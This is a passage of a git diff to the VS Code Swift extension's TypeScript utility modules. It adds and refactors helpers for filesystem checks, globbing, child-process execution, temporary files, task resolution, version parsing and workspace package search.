a/src/utilities/filesystem.ts b/src/utilities/filesystem.ts new file mode 100644 index 000000000..064e9f4c8 --- /dev/null +++ b/src/utilities/filesystem.ts @@ -0,0 +1,183 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Options, convertPathToPattern, glob as fastGlob } from "fast-glob"; +import * as fs from "fs/promises"; +import { contains } from "micromatch"; +import * as path from "path"; +import * as vscode from "vscode"; + +import configuration from "../configuration"; + +export const validFileTypes = ["swift", "c", "cpp", "h", "hpp", "m", "mm"]; + +/** + * Checks if a file, directory or symlink exists at the supplied path. + * @param pathComponents The path to check for existence + * @returns Whether or not an entity exists at the path + */ +export async function pathExists(...pathComponents: string[]): Promise { + try { + await fs.access(path.join(...pathComponents)); + return true; + } catch { + return false; + } +} + +/** + * Checks if a file exists at the supplied path. + * @param pathComponents The file path to check for existence + * @returns Whether or not the file exists at the path + */ +export async function fileExists(...pathComponents: string[]): Promise { + try { + return (await fs.stat(path.join(...pathComponents))).isFile(); + } catch (e) { + return false; + } +} + +/** + * Checks if a file exists on disk and, if it doesn't, creates it. If the file does exist + * then this function does nothing. + * @param path The path to the file. + */ +export async function touch(path: string): Promise { + if (!(await fileExists(path))) { + const handle = await fs.open(path, "a"); + await handle.close(); + } +} + +/** + * Checks if a folder exists at the supplied path. + * @param pathComponents The folder path to check for existence + * @returns Whether or not the folder exists at the path + */ +export async function folderExists(...pathComponents: string[]): Promise { + try { + return (await fs.stat(path.join(...pathComponents))).isDirectory(); + } catch (e) { + return false; + } +} + +/** + * Return whether a file/folder is inside a folder. + * @param subpath child file/folder + * @param parent parent folder + * @returns if child file/folder is inside the parent folder + */ +export function isPathInsidePath(subpath: string, parent: string): boolean { + // return true if path doesn't start with '..' + return !path.relative(parent, subpath).startsWith(".."); +} + +/** + * Expand ~ in file path to full $HOME folder + * @param filepath File path + * @returns full path + */ +export function expandFilePathTilde( + filepath: string, + directory: string | null = process.env.HOME ?? null, + platform: NodeJS.Platform = process.platform +): string { + // Guard no expanding on windows + if (platform === "win32") { + return filepath; + } + // Guard tilde is present + if (filepath[0] !== "~") { + return filepath; + } + // Guard we know home directory + if (!directory) { + return filepath; + } + return path.join(directory, filepath.slice(1)); +} + +function getDefaultExcludeList(): Record { + const config = vscode.workspace.getConfiguration("files"); + const vscodeExcludeList = config.get<{ [key: string]: boolean }>("exclude", {}); + const swiftExcludeList = configuration.excludePathsFromActivation; + return { ...vscodeExcludeList, ...swiftExcludeList }; +} + +function getGlobPattern(excludeList: Record): { + include: string[]; + exclude: string[]; +} { + const exclude: string[] = []; + const include: string[] = []; + for (const key of Object.keys(excludeList)) { + if (excludeList[key]) { + exclude.push(key); + } else { + include.push(key); + } + } + return { include, exclude }; +} + +export function isIncluded( + uri: vscode.Uri, + excludeList: Record = getDefaultExcludeList() +): boolean { + let notExcluded = true; + let included = true; + for (const key of Object.keys(excludeList)) { + if (excludeList[key]) { + if (contains(uri.fsPath, key, { contains: true })) { + notExcluded = false; + included = false; + } + } else { + if (contains(uri.fsPath, key, { contains: true })) { + included = true; + } + } + } + if (notExcluded) { + return true; + } + return included; +} + +export function isExcluded( + uri: vscode.Uri, + excludeList: Record = getDefaultExcludeList() +): boolean { + return !isIncluded(uri, excludeList); +} + +export async function globDirectory(uri: vscode.Uri, options?: Options): Promise { + const { include, exclude } = getGlobPattern(getDefaultExcludeList()); + const matches: string[] = await fastGlob(`${convertPathToPattern(uri.fsPath)}/*`, { + ignore: exclude, + absolute: true, + ...options, + }); + if (include.length > 0) { + matches.push( + ...(await fastGlob(include, { + absolute: true, + cwd: uri.fsPath, + ...options, + })) + ); + } + return matches; +} diff --git a/src/utilities/native.ts b/src/utilities/native.ts new file mode 100644 index 000000000..bfab09f95 --- /dev/null +++ b/src/utilities/native.ts @@ -0,0 +1,31 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable @typescript-eslint/no-require-imports */ +import * as vscode from "vscode"; + +// To not electron-rebuild for every platform and arch, we want to +// use the asar bundled native module. Taking inspiration from +// https://github.com/microsoft/node-pty/issues/582 +export function requireNativeModule(id: string): T { + if (vscode.env.remoteName) { + return require(`${vscode.env.appRoot}/node_modules/${id}`); + } + // https://github.com/microsoft/vscode/commit/a162831c17ad0d675f1f0d5c3f374fd1514f04b5 + // VSCode has moved node-pty out of asar bundle + try { + return require(`${vscode.env.appRoot}/node_modules.asar/${id}`); + } catch { + return require(`${vscode.env.appRoot}/node_modules/${id}`); + } +} diff --git a/src/utilities/result.ts b/src/utilities/result.ts index 9d7695abc..d8012825a 100644 --- a/src/utilities/result.ts +++ b/src/utilities/result.ts @@ -1,12 +1,12 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // @@ -16,7 +16,10 @@ * Wrapper class for a Result that might contain either success or failure */ export class Result { - private constructor(readonly success?: Success, readonly failure?: unknown) {} + private constructor( + readonly success?: Success, + readonly failure?: unknown + ) {} /** Return a successful result */ static makeSuccess(success: Success): Result { diff --git a/src/utilities/shell.ts b/src/utilities/shell.ts new file mode 100644 index 000000000..ef0954e26 --- /dev/null +++ b/src/utilities/shell.ts @@ -0,0 +1,32 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { execFile } from "./utilities"; + +// use `type swift` to find `swift`. Run inside /bin/sh to ensure +// we get consistent output as different shells output a different +// format. Tried running with `-p` but that is not available in /bin/sh +export async function findBinaryPath(binaryName: string): Promise { + const { stdout, stderr } = await execFile("/bin/sh", [ + "-c", + `LC_MESSAGES=C type ${binaryName}`, + ]); + const binaryNameMatch = new RegExp(`^${binaryName} is (.*)$`).exec(stdout.trimEnd()); + if (binaryNameMatch) { + return binaryNameMatch[1]; + } else { + throw Error( + `/bin/sh -c LC_MESSAGES=C type ${binaryName}: stdout: ${stdout}, stderr: ${stderr}` + ); + } +} diff --git a/src/utilities/tasks.ts b/src/utilities/tasks.ts new file mode 100644 index 000000000..e4020cf41 --- /dev/null +++ b/src/utilities/tasks.ts @@ -0,0 +1,87 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { substituteVariablesInString } from "../configuration"; + +export const lineBreakRegex = /\r\n|\n|\r/gm; + +export function resolveTaskCwd(task: vscode.Task, cwd?: string): string | undefined { + const scopeWorkspaceFolder = getScopeWorkspaceFolder(task); + if (!cwd) { + return scopeWorkspaceFolder; + } + + if (/\$\{.*\}/g.test(cwd)) { + return substituteVariablesInString(cwd); + } + + if (path.isAbsolute(cwd)) { + return cwd; + } else if (scopeWorkspaceFolder) { + return path.join(scopeWorkspaceFolder, cwd); + } + return cwd; +} + +function getScopeWorkspaceFolder(task: vscode.Task): string | undefined { + if (task.scope !== vscode.TaskScope.Global && task.scope !== vscode.TaskScope.Workspace) { + const scopeWorkspaceFolder = task.scope as vscode.WorkspaceFolder; + return scopeWorkspaceFolder.uri.fsPath; + } + return; +} + +export function getPlatformConfig(task: vscode.Task): T | undefined { + if (process.platform === "win32") { + return task.definition.windows; + } else if (process.platform === "linux") { + return task.definition.linux; + } else if (process.platform === "darwin") { + return task.definition.macos; + } +} + +export function checkIfBuildComplete(line: string): boolean { + // Output in this format for "build" and "test" commands + const completeRegex = /^Build complete!/gm; + let match = completeRegex.exec(line); + if (match) { + return true; + } + // Output in this format for "run" commands + const productCompleteRegex = /^Build of product '.*' complete!/gm; + match = productCompleteRegex.exec(line); + if (match) { + return true; + } + return false; +} + +export function packageName(folderContext: FolderContext): string | undefined { + if (vscode.workspace.workspaceFile) { + return folderContext.name; + } else if (folderContext.relativePath.length > 0) { + return folderContext.relativePath; + } +} + +export function resolveScope(scope: vscode.WorkspaceFolder | vscode.TaskScope) { + if (vscode.workspace.workspaceFile) { + return vscode.TaskScope.Workspace; + } + return scope; +} diff --git a/src/utilities/tempFolder.ts b/src/utilities/tempFolder.ts index 2821ecd29..921f257d1 100644 --- a/src/utilities/tempFolder.ts +++ b/src/utilities/tempFolder.ts @@ -1,25 +1,29 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as fs from "fs/promises"; import { tmpdir } from "os"; import * as path from "path"; -import * as fs from "fs/promises"; +import { Disposable } from "vscode"; + import { randomString } from "./utilities"; export class TemporaryFolder { private constructor(public path: string) {} + public createDisposableFileCollection(): DisposableFileCollection { + return new DisposableFileCollection(this); + } /** * Return random filename inside temporary folder * @param prefix Prefix of file @@ -36,6 +40,23 @@ export class TemporaryFolder { return path.join(this.path, filename); } + /** + * Generate temporary filename, run a process and delete file with filename once that + * process has finished + * + * @param prefix File prefix + * @param extension File extension + * @param process Process to run + * @returns return value of process + */ + async withTemporaryFile( + extension: string, + process: (filename: string) => Promise + ): Promise { + const filename = this.filename("", extension); + return TemporaryFolder.withNamedTemporaryFile(filename, () => process(filename)); + } + /** * Create Temporary folder * @returns Temporary folder class @@ -49,4 +70,64 @@ export class TemporaryFolder { } return new TemporaryFolder(tmpPath); } + + /** + * Run a process and delete file with filename once that + * process has finished. + * + * @param path Full file path to a temporary file + * @param process Process to run + * @returns return value of process + */ + static async withNamedTemporaryFile( + path: string, + process: () => Promise + ): Promise { + return this.withNamedTemporaryFiles([path], process); + } + + /** + * Run a process and delete the supplied files once that + * process has finished. + * + * @param paths File paths to temporary files + * @param process Process to run + * @returns return value of process + */ + static async withNamedTemporaryFiles( + paths: string[], + process: () => Promise + ): Promise { + try { + const rt = await process(); + for (const path of paths) { + await fs.rm(path, { force: true }); + } + return rt; + } catch (error) { + for (const path of paths) { + await fs.rm(path, { force: true }); + } + throw error; + } + } +} + +export class DisposableFileCollection implements Disposable { + private files: string[] = []; + + constructor(private folder: TemporaryFolder) {} + + public file(prefix: string, extension?: string): string { + const filename = this.folder.filename(prefix, extension); + this.files.push(filename); + return filename; + } + + async dispose() { + for (const file of this.files) { + await fs.rm(file, { force: true }); + } + this.files = []; + } } diff --git a/src/utilities/utilities.ts b/src/utilities/utilities.ts index 756def2e7..44f6e7219 100644 --- a/src/utilities/utilities.ts +++ b/src/utilities/utilities.ts @@ -1,27 +1,67 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as cp from "child_process"; -import * as fs from "fs/promises"; import * as path from "path"; import * as Stream from "stream"; -import configuration from "../configuration"; +import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; +import configuration from "../configuration"; +import { SwiftToolchain } from "../toolchain/toolchain"; + +/** + * Whether or not this is a production build. + * + * Code that checks for this will be removed completely when the extension is packaged into + * a VSIX. + */ +export const IS_PRODUCTION_BUILD = process.env.NODE_ENV === "production"; -export interface ExecError { - error: Error; +/** + * Whether or not the code is being run in a Github Actions workflow. + */ +export const IS_RUNNING_UNDER_GITHUB_ACTIONS = process.env.GITHUB_ACTIONS === "true"; + +/** + * Whether or not the code is being run by `act` CLT. + */ +export const IS_RUNNING_UNDER_ACT = process.env.ACT === "true"; + +/** + * Whether or not the code is being run in a docker container. + */ +export const IS_RUNNING_UNDER_DOCKER = IS_RUNNING_UNDER_ACT || IS_RUNNING_UNDER_GITHUB_ACTIONS; + +/** + * Whether or not the code is being run as part of a test suite. + * + * This will NOT be removed when the extension is packaged into a VSIX, unlike "CI" variable. + */ +export const IS_RUNNING_UNDER_TEST = process.env.RUNNING_UNDER_VSCODE_TEST_CLI === "1"; + +/** + * Determined by the presence of the `VSCODE_DEBUG` environment variable, set by the + * launch.json when starting the extension in development. + */ +export const IS_RUNNING_IN_DEVELOPMENT_MODE = process.env["VSCODE_DEBUG"] === "1"; + +/** Determines whether the provided object has any properties set to non-null values. */ +export function isEmptyObject(obj: { [key: string]: unknown }): boolean { + const properties = Object.getOwnPropertyNames(obj).filter( + property => obj[property] !== undefined && obj[property] !== null + ); + return properties.length === 0; } /** @@ -31,29 +71,43 @@ export interface ExecError { * @returns minimal required environment for Swift product */ export function swiftRuntimeEnv( - base: NodeJS.ProcessEnv | boolean = process.env + base: NodeJS.ProcessEnv | boolean = process.env, + runtimePath: string = configuration.runtimePath ): { [key: string]: string } | undefined { - if (configuration.runtimePath === "") { - return undefined; - } - const runtimePath = configuration.runtimePath; const key = swiftLibraryPathKey(); const separator = process.platform === "win32" ? ";" : ":"; switch (base) { case false: - return { [key]: runtimePath }; + base = {}; + break; case true: - return { [key]: `${runtimePath}${separator}\${env:${key}}` }; + base = { [key]: `\${env:${key}}` }; + break; default: - return base[key] - ? { [key]: `${runtimePath}${separator}${base[key]}` } - : { [key]: runtimePath }; + break; + } + return runtimeEnv(base, key, runtimePath, separator); +} + +export function runtimeEnv( + base: NodeJS.ProcessEnv, + key: string, + value: string, + separator: string +): { [key: string]: string } | undefined { + if (value === "") { + return undefined; } + return base[key] ? { [key]: `${value}${separator}${base[key]}` } : { [key]: value }; } /** Return environment variable to update for runtime library search path */ export function swiftLibraryPathKey(): string { - switch (process.platform) { + return swiftPlatformLibraryPathKey(process.platform); +} + +export function swiftPlatformLibraryPathKey(platform: NodeJS.Platform): string { + switch (platform) { case "win32": return "Path"; case "darwin": @@ -63,6 +117,16 @@ export function swiftLibraryPathKey(): string { } } +export class ExecFileError extends Error { + constructor( + public readonly causedBy: Error, + public readonly stdout: string, + public readonly stderr: string + ) { + super(causedBy.message); + } +} + /** * Asynchronous wrapper around {@link cp.execFile child_process.execFile}. * @@ -79,7 +143,7 @@ export async function execFile( folderContext?: FolderContext, customSwiftRuntime = true ): Promise<{ stdout: string; stderr: string }> { - folderContext?.workspaceContext.outputChannel.logDiagnostic( + folderContext?.workspaceContext.logger.debug( `Exec: ${executable} ${args.join(" ")}`, folderContext.name ); @@ -89,14 +153,42 @@ export async function execFile( options.env = { ...(options.env ?? process.env), ...runtimeEnv }; } } - return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => + options = { + ...options, + maxBuffer: options.maxBuffer ?? 1024 * 1024 * 64, // 64MB + }; + return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => { cp.execFile(executable, args, options, (error, stdout, stderr) => { if (error) { - reject({ error, stdout, stderr }); + reject(new ExecFileError(error, stdout.toString(), stderr.toString())); + } else { + resolve({ stdout: stdout.toString(), stderr: stderr.toString() }); } - resolve({ stdout, stderr }); - }) - ); + }); + }); +} + +enum Color { + red = 31, + green = 32, + yellow = 33, + blue = 34, + magenta = 35, + cyan = 36, + white = 37, + grey = 90, + lightRed = 91, + lightGreen = 92, + lightYellow = 93, + lightBlue = 94, +} + +export function colorize(text: string, color: keyof typeof Color): string { + const colorCode = Color[color]; + if (colorCode !== undefined) { + return `\x1b[${colorCode}m${text}\x1b[0m`; + } + return text; } export async function execFileStreamOutput( @@ -107,9 +199,10 @@ export async function execFileStreamOutput( token: vscode.CancellationToken | null, options: cp.ExecFileOptions = {}, folderContext?: FolderContext, - customSwiftRuntime = true + customSwiftRuntime = true, + killSignal: NodeJS.Signals = "SIGTERM" ): Promise { - folderContext?.workspaceContext.outputChannel.logDiagnostic( + folderContext?.workspaceContext.logger.debug( `Exec: ${executable} ${args.join(" ")}`, folderContext.name ); @@ -120,11 +213,16 @@ export async function execFileStreamOutput( } } return new Promise((resolve, reject) => { + let cancellation: vscode.Disposable; const p = cp.execFile(executable, args, options, error => { if (error) { - reject({ error }); + reject(error); + } else { + resolve(); + } + if (cancellation) { + cancellation.dispose(); } - resolve(); }); if (stdout) { p.stdout?.pipe(stdout); @@ -133,9 +231,8 @@ export async function execFileStreamOutput( p.stderr?.pipe(stderr); } if (token) { - const cancellation = token.onCancellationRequested(() => { - p.kill(); - cancellation.dispose(); + cancellation = token.onCancellationRequested(() => { + p.kill(killSignal); }); } }); @@ -151,11 +248,19 @@ export async function execFileStreamOutput( */ export async function execSwift( args: string[], + toolchain: SwiftToolchain | "default" | { swiftExecutable: string }, options: cp.ExecFileOptions = {}, folderContext?: FolderContext ): Promise<{ stdout: string; stderr: string }> { - const swift = getSwiftExecutable(); - args = withSwiftSDKFlags(args); + let swift: string; + if (typeof toolchain === "object" && "swiftExecutable" in toolchain) { + swift = toolchain.swiftExecutable; + } else if (toolchain === "default") { + swift = getSwiftExecutable(); + } else { + swift = toolchain.getToolchainExecutable("swift"); + args = toolchain.buildFlags.withAdditionalFlags(args); + } if (Object.keys(configuration.swiftEnvironmentVariables).length > 0) { // when adding environment vars we either combine with vars passed // into the function or the process environment vars @@ -164,109 +269,61 @@ export async function execSwift( ...configuration.swiftEnvironmentVariables, }; } + options = { + ...options, + maxBuffer: options.maxBuffer ?? 1024 * 1024 * 64, // 64MB + }; return await execFile(swift, args, options, folderContext); } /** - * Get modified swift arguments with SDK flags. - * - * @param args original commandline arguments - */ -export function withSwiftSDKFlags(args: string[]): string[] { - switch (args[0]) { - case "package": { - const subcommand = args.splice(0, 2).concat(buildPathFlags()); - switch (subcommand[1]) { - case "dump-symbol-graph": - case "diagnose-api-breaking-changes": - case "resolve": { - // These two tools require building the package, so SDK - // flags are needed. Destination control flags are - // required to be placed before subcommand options. - return [...subcommand, ...swiftpmSDKFlags(), ...args]; - } - default: - // Other swift-package subcommands operate on the host, - // so it doesn't need to know about the destination. - return subcommand.concat(args); - } - } - case "build": - case "run": - case "test": { - const subcommand = args.splice(0, 1).concat(buildPathFlags()); - return [...subcommand, ...swiftpmSDKFlags(), ...args]; - } - default: - // We're not going to call the Swift compiler directly for cross-compiling - // and the destination settings are package-only, so do nothing here. - return args; - } -} - -/** - * Get SDK flags for SwiftPM + * Keep calling a function until it returns true + * @param fn function to test + * @param everyMilliseconds Time period between each call of the function */ -export function swiftpmSDKFlags(): string[] { - if (configuration.sdk !== "") { - return ["--sdk", configuration.sdk]; +export async function poll(fn: () => boolean, everyMilliseconds: number) { + while (!fn()) { + await wait(everyMilliseconds); } - return []; } /** - * Get build path flags to be passed to swift package manager and sourcekit-lsp server + * Wait for amount of time + * @param milliseconds Amount of time to wait */ -export function buildPathFlags(): string[] { - if (configuration.buildPath && configuration.buildPath.length > 0) { - return ["--build-path", configuration.buildPath]; - } else { - return []; - } +export function wait(milliseconds: number): Promise { + return new Promise(resolve => setTimeout(resolve, milliseconds)); } /** - * Get build path from configuration if exists or return a fallback .build directory in given workspace - * @param filesystem path to workspace that will be used as a fallback loacation with .build directory - */ -export function buildDirectoryFromWorkspacePath(workspacePath: string, absolute = false): string { - const buildPath = configuration.buildPath.length > 0 ? configuration.buildPath : ".build"; - if (!path.isAbsolute(buildPath) && absolute) { - return path.join(workspacePath, buildPath); - } else { - return buildPath; - } -} - -/** - * Get SDK flags for swiftc + * Returns an array containing the non-null and non-undefined results of calling + * the given transformation with each element of this sequence. * - * @param indirect whether to pass the flags by -Xswiftc + * @param arr An array to map + * @param transform A transformation function to apply to each element + * @returns An array containing the non-null and non-undefined results of calling transform on each element */ -export function swiftDriverSDKFlags(indirect = false): string[] { - if (configuration.sdk === "") { - return []; - } - const args = ["-sdk", configuration.sdk]; - return indirect ? args.flatMap(arg => ["-Xswiftc", arg]) : args; -} - -/** - * Get the file name of executable - * - * @param exe name of executable to return - */ -export function getExecutableName(exe: string): string { - return process.platform === "win32" ? `${exe}.exe` : exe; +export function compactMap( + arr: readonly T[], + transform: (value: T) => U | null | undefined +): U[] { + return arr.reduce((acc, item) => { + const result = transform(item); + if (result !== null && result !== undefined) { + acc.push(result); + } + return acc; + }, []); } - /** * Get path to swift executable, or executable in swift bin folder * * @param exe name of executable to return */ export function getSwiftExecutable(exe = "swift"): string { - return path.join(configuration.path, getExecutableName(exe)); + // should we add `.exe` at the end of the executable name + const windowsExeSuffix = process.platform === "win32" ? ".exe" : ""; + return path.join(configuration.path, `${exe}${windowsExeSuffix}`); } /** @@ -290,32 +347,6 @@ export function getRepositoryName(url: string): string { return lastPathComponent; } -/** - * Whether the given path exists. - * - * Does not check whether the user has permission to read the path. - */ -export async function pathExists(...pathComponents: string[]): Promise { - try { - await fs.access(path.join(...pathComponents)); - return true; - } catch { - return false; - } -} - -/** - * Return whether a file is inside a folder - * @param subfolder child file/folder - * @param folder parent folder - * @returns if child file is inside parent folder - */ -export function isPathInsidePath(subfolder: string, folder: string): boolean { - const relativePath = path.relative(folder, subfolder); - // return true if path doesnt start with '..' - return relativePath[0] !== "." || relativePath[1] !== "."; -} - /** * Return random string * @param length Length of string to return (max 16) @@ -331,7 +362,9 @@ export function randomString(length = 8): string { * @returns String description of error */ export function getErrorDescription(error: unknown): string { - if ((error as { stderr: string }).stderr) { + if (!error) { + return "No error provided"; + } else if ((error as { stderr: string }).stderr) { return (error as { stderr: string }).stderr; } else if ((error as { error: string }).error) { return JSON.stringify((error as { error: string }).error); @@ -353,39 +386,87 @@ export function stringArrayInEnglish(strings: string[]): string { : [strings.slice(0, -1).join(", "), strings[strings.length - 1]].join(" and "); } -export interface ArgumentFilter { - argument: string; - include: number; +/** + * String hashing function taken from https://stackoverflow.com/a/52171480/7831758 + * @param str String to hash + * @param seed Seed for hash function + * @returns Hash of string + */ +export function hashString(str: string, seed = 0) { + let h1 = 0xdeadbeef ^ seed, + h2 = 0x41c6ce57 ^ seed; + for (let i = 0, ch; i < str.length; i++) { + ch = str.charCodeAt(i); + h1 = Math.imul(h1 ^ ch, 2654435761); + h2 = Math.imul(h2 ^ ch, 1597334677); + } + h1 = Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ Math.imul(h2 ^ (h2 >>> 13), 3266489909); + h2 = Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ Math.imul(h1 ^ (h1 >>> 13), 3266489909); + return 4294967296 * (2097151 & h2) + (h1 >>> 0); } /** - * Filter argument list - * @param args argument list - * @param filter argument list filter - * @returns filtered argument list + * Transforms a file, line and optional column in to a vscode.Location. + * The line numbers are expected to start at 1, not 0. + * @param string A file path + * @param line A line number, starting at 1 + * @param column An optional column */ -export function filterArguments(args: string[], filter: ArgumentFilter[]): string[] { - const filteredArguments: string[] = []; - let includeCount = 0; - for (const arg of args) { - if (includeCount > 0) { - filteredArguments.push(arg); - includeCount -= 1; - continue; - } - const argFilter = filter.find(item => item.argument === arg); - if (argFilter) { - filteredArguments.push(arg); - includeCount = argFilter.include; - continue; - } - // find arguments of form arg=value - const argFilter2 = filter.find( - item => item.include === 1 && arg.startsWith(item.argument + "=") - ); - if (argFilter2) { - filteredArguments.push(arg); +export function sourceLocationToVSCodeLocation( + file: string, + line: number, + column?: number +): vscode.Location { + return new vscode.Location(vscode.Uri.file(file), new vscode.Position(line - 1, column ?? 0)); +} + +const regexEscapedCharacters = new Set(["(", ")", "[", "]", ".", "$", "^", "?", "|", "/", ":"]); +/** + * Escapes regular expression special characters with a backslash. + * @param string A string to escape + * @returns The escaped string + */ +export function regexEscapedString(string: string, omitting?: Set): string { + let result = ""; + for (const c of string) { + if (regexEscapedCharacters.has(c) && (!omitting || !omitting.has(c))) { + result += `\\${c}`; + } else { + result += c; } } - return filteredArguments; + return result; +} + +/* eslint-disable @typescript-eslint/no-explicit-any */ +/** + * Creates a promise that can be resolved or rejected outside the promise executor. + * @returns An object containing a promise, a resolve function, and a reject function. + */ +export function destructuredPromise(): { + promise: Promise; + resolve: (value: T) => void; + reject: (reason?: any) => void; +} { + let resolve: (value: T) => void; + let reject: (reason?: any) => void; + const p = new Promise((res, rej) => { + resolve = res; + reject = rej; + }); + return { promise: p, resolve: resolve!, reject: reject! }; +} +/* eslint-enable @typescript-eslint/no-explicit-any */ + +/** + * Creates a composite disposable from multiple disposables. + * @param disposables The disposables to include. + * @returns A composite disposable that disposes all included disposables. + */ +export function compositeDisposable(...disposables: vscode.Disposable[]): vscode.Disposable { + return { + dispose: () => { + disposables.forEach(d => d.dispose()); + }, + }; } diff --git a/src/utilities/version.ts b/src/utilities/version.ts index 7100ca7e2..c1ed2de6d 100644 --- a/src/utilities/version.ts +++ b/src/utilities/version.ts @@ -1,30 +1,42 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// -export class Version { - constructor(readonly major: number, readonly minor: number, readonly patch: number) {} +export interface VersionInterface { + major: number; + minor: number; + patch: number; +} + +export class Version implements VersionInterface { + constructor( + readonly major: number, + readonly minor: number, + readonly patch: number, + readonly dev: boolean = false + ) {} static fromString(s: string): Version | undefined { - const numbers = s.match(/(\d+).(\d+)(?:.(\d+))?/); + const numbers = s.match(/(\d+).(\d+)(?:.(\d+))?(-dev)?/); if (numbers) { const major = parseInt(numbers[1]); const minor = parseInt(numbers[2]); + const dev = numbers[4] === "-dev"; if (numbers[3] === undefined) { - return new Version(major, minor, 0); + return new Version(major, minor, 0, dev); } else { const patch = parseInt(numbers[3]); - return new Version(major, minor, patch); + return new Version(major, minor, patch, dev); } } return undefined; @@ -34,7 +46,7 @@ export class Version { return `${this.major}.${this.minor}.${this.patch}`; } - isLessThan(rhs: Version): boolean { + isLessThan(rhs: VersionInterface): boolean { if (this.major < rhs.major) { return true; } else if (this.major > rhs.major) { @@ -51,7 +63,7 @@ export class Version { return false; } - isGreaterThan(rhs: Version): boolean { + isGreaterThan(rhs: VersionInterface): boolean { if (this.major > rhs.major) { return true; } else if (this.major < rhs.major) { @@ -68,11 +80,15 @@ export class Version { return false; } - isLessThanOrEqual(rhs: Version): boolean { + isLessThanOrEqual(rhs: VersionInterface): boolean { return !this.isGreaterThan(rhs); } - isGreaterThanOrEqual(rhs: Version): boolean { + isGreaterThanOrEqual(rhs: VersionInterface): boolean { return !this.isLessThan(rhs); } + + compare(rhs: VersionInterface): number { + return this.isGreaterThan(rhs) ? 1 : this.isLessThan(rhs) ? -1 : 0; + } } diff --git a/src/utilities/workspace.ts b/src/utilities/workspace.ts new file mode 100644 index 000000000..d52251615 --- /dev/null +++ b/src/utilities/workspace.ts @@ -0,0 +1,115 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2022 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as path from "path"; +import { basename } from "path"; +import * as vscode from "vscode"; + +import { folderExists, globDirectory, pathExists } from "./filesystem"; +import { Version } from "./version"; + +export async function searchForPackages( + folder: vscode.Uri, + disableSwiftPMIntegration: boolean, + searchSubfoldersForPackages: boolean, + skipFolders: Array, + swiftVersion: Version +): Promise> { + const folders: Array = []; + + async function search(folder: vscode.Uri) { + // add folder if Package.swift/compile_commands.json/compile_flags.txt/buildServer.json/.bsp exists + if (await isValidWorkspaceFolder(folder.fsPath, disableSwiftPMIntegration, swiftVersion)) { + folders.push(folder); + } + + // If sub-folder searches are disabled, don't search subdirectories + if (!searchSubfoldersForPackages) { + return; + } + + await globDirectory(folder, { onlyDirectories: true }).then(async entries => { + const skip = new Set(skipFolders); + for (const entry of entries) { + const base = basename(entry); + if (!skip.has(base)) { + await search(vscode.Uri.file(entry)); + } + } + }); + } + + await search(folder); + + return folders; +} + +export async function hasBSPConfigurationFile( + folder: string, + swiftVersion: Version +): Promise { + // buildServer.json + const buildServerPath = 